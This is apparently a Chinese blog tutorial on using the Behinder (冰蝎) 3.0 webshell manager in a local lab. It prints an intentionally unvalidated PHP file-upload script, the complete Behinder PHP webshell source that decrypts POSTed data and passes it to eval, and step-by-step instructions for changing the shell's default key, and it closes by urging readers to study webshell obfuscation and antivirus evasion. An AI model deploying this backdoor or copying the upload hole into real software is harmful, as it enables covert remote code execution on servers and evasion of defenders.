冰蝎3.0的使用方法与默认密码更改方法

前言

今天刚下载了最新版的冰蝎3.0 beta2,但是一直连不上,后来问了公司的大哥才知道了原因,这里做一个记录,希望对你有所帮助。

这篇文章比较基础,主要面向新手,技术含量较低主要为操作流程。


首先看看下载后有什么文件:
在这里插入图片描述
server文件中放的是各种语言的webshell,如下图:
在这里插入图片描述


环境配置

这里我使用的php的webshell做的实验。首先我开了一个windows的虚拟机,下载了phpstudy,开启了apache,然后写一个文件上传的php代码,这里采用的是菜鸟教程上自带的php文件上传代码,具体代码如下:


<!-- index.html代码 -->

<html>
<head>
<meta charset="utf-8">
<title>Upload</title>
</head>
<body>
<!-- 下面表单表示将接收到底文件传给upload_file.php去处理 -->
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>

// upload_file.php
<?php 
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中
?>

将上诉代码放在:
在这里插入图片描述
只要下载了phpstudy应该就会有这个文件夹,我使用的是默认目录安装的,upload_file.php代码写到上传的文件需要被放在当前目录下的upload文件夹中,因此我们需要自己创建一个upload文件夹,如上图所示。


连接webshell

在这里插入图片描述
上传页面如上图所示,点击chose file选中文件,点击提交上传我们的php的webshell即可,上传成功这会出现下图。
在这里插入图片描述


这时候双击打开我们的冰蝎:
在这里插入图片描述
如果无法打开可能是java版本不对,这里我给出自己的java版本作为参考。
在这里插入图片描述

打开后如下图所示:
在这里插入图片描述
在空白处右键然后点击新增:
在这里插入图片描述
输入url跟密码然后点击保存在这里插入图片描述

这里面说一下为什么默认密码为什么是rebeyond还有怎样更改默认密码:
先看看冰蝎的phpshell的源代码:

<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; //这一行为密码的md5的前16位
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

跟我在代码中标注的一样

$key=“e45e329feb5d925b”; //这一行为密码的md5的前16位
我们去cmd5这个网站中去进行加解密操作,输入rebeyond:
在这里插入图片描述
发现rebeyond的32位md5的前16为刚好就是代码中的key的值(是第一行md5(rebeyond,32))。现在大家应该知道怎么改密码了吧,只要用你想用的密码的md5的前16位代替代码中key的值,然后你就可以使用自己的密码登陆shell了。例如你想使用admin当密码,你求出的admin的md5如下:
在这里插入图片描述
这时候你只需要将代码中的 “ $key=“e45e329feb5d925b”; “ 中key的值改为21232f297a57a5a7即可使用admin为密码登陆,说到这里就已经很详细了,点到为止。

冰蝎页面

连接成功后页面如下:
在这里插入图片描述
大家可以根据自己的需要去使用,不过建议大家有机会研究一下webshell的混淆与免杀,否则很容易被查杀。

  • 15
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 15
    评论
### 回答1: 冰蝎3.0是一款网络安全工具,用于进行渗透测试和网络攻防实验。如果遇到冰蝎3.0的jar文件无法打开,可能是由于以下几个原因: 首先,确保你的电脑上已经安装了Java运行环境(JRE)。冰蝎3.0使用Java编写,所以需要Java运行环境才能正常运行。你可以去官方网站下载并安装最新的Java运行环境。 其次,检查一下你下载的冰蝎3.0 jar文件是否完整和正确。有时候,下载过程中可能会出现网络中断或者文件损坏的情况,导致文件无法正常打开。你可以尝试重新下载一次,确保文件完整。 另外,你还可以尝试使用命令行来打开冰蝎3.0 jar文件。打开命令提示符(Windows系统可以使用Win+R快捷键打开运行窗口,输入"cmd"并回车),在命令行中定位到jar文件所在的路径,然后运行以下命令:java -jar 冰蝎3.0.jar。这样就可以尝试以命令行方式打开冰蝎3.0。 如果以上方法都无法解决问题,你可以尝试联系冰蝎3.0的开发者或者官方客服寻求帮助。他们可能会提供一些针对性的解决方案或者修复版本。 总结来说,如果冰蝎3.0 jar无法打开,你可以检查是否安装了Java运行环境、重新下载jar文件、尝试使用命令行打开,或者寻求官方的帮助。希望以上方法对解决问题有所帮助。 ### 回答2: 冰蝎3.0是一个流行的网络安全工具,用于渗透测试和漏洞利用。如果冰蝎3.0的jar文件无法打开,可能有以下几个原因和解决方法: 1. Java环境问题:冰蝎3.0是基于Java的工具,因此确保您已经正确安装了Java运行环境(JRE)。您可以通过在命令行中输入“java -version”来检查Java的安装情况。如果尚未安装,请下载并安装最新版本的Java。 2. 文件损坏:如果冰蝎3.0的jar文件受损,可能无法打开。请尝试重新下载冰蝎3.0的jar文件,并确保下载的文件完整且未被损坏。您还可以尝试将该文件复制到另一个位置,然后再次尝试打开。 3. 安全软件干扰:有些杀毒软件或防火墙可能会将冰蝎3.0的jar文件识别为潜在的安全威胁并阻止其打开。您可以尝试禁用或暂时关闭安全软件,然后再次尝试打开文件。 4. 命令行执行问题:冰蝎3.0通常在命令行中使用。请确保您正确使用Java命令来执行冰蝎3.0的jar文件。在命令行中导航到jar文件所在的目录,并输入“java -jar 文件名.jar”来尝试打开文件。 如果上述方法都无法解决问题,可能是由于其他原因导致无法打开冰蝎3.0的jar文件。您可以尝试在相关的安全论坛或开发者社区中寻求帮助,以获得更详细的技术支持。
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值